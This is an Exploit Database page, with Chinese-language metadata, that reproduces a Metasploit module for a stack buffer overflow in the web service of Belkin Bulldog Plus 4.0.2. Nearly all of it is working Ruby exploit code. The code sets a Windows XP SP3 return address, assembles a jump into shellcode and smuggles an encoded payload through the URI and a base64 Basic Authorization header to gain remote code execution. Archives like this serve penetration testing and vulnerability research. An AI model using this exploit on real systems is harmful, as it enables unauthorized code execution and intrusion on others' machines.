Belkin Bulldog Plus – Web Service Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16804/

• ##
  # $Id: belkin_bulldog.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Belkin Bulldog Plus
  				4.0.2 build 1219. When sending a specially crafted http request,
  				an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'OSVDB', '54395' ],
  					[ 'BID', '34033' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'=>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 8 2009'))
  
  		register_options( [ Opt::RPORT(80) ], self.class )
  	end
  
  	def exploit
  		c = connect
  
  		dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
  
  		filler = [target.ret].pack('V') + dwerd + make_nops(28)
  
  		print_status("Trying target #{target.name}...")
  
  		send_request_raw({
  			'uri'=> payload.encoded,
  			'version'=> '1.1',
  			'method' => 'GET',
  			'headers'=>
  			{
  				'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
  			}
  		}, 5)
  
  		handler
  	end
  end